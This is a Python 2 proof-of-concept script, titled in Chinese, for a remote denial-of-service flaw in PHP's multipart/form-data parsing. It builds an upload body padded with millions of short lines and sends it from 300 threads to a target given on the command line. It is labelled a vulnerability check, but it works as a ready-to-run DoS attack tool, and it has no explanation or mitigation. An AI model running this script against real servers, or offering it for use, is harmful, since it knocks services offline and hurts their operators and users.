PHP multipart/form-data 远程DOS漏洞 POC

import sys
import urllib,urllib2
import datetime
from optparse import OptionParser
import threading
import time
 
def http_proxy(proxy_url):
 
    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy
 
def check_php_multipartform_dos(url,post_body,headers):
    req = urllib2.Request(url)
    print "starts......"
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end
 
 
def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store",
                  dest="target",
                  default=False,
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
        target = options.target
    else:
        return;
 
    Num=3500000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    for j in range(100):
        for i in range(3):
            t=threading.Thread(target=check_php_multipartform_dos,args=(target,body,headers,))
            t.start()
        time.sleep(0.01)
    #respond=check_php_multipartform_dos(target,body,headers)
    #print "Result : "
    #print respond[0]
    #print "Respond time : "+str(respond[1]) + " seconds";
 
if __name__=="__main__":
    main()

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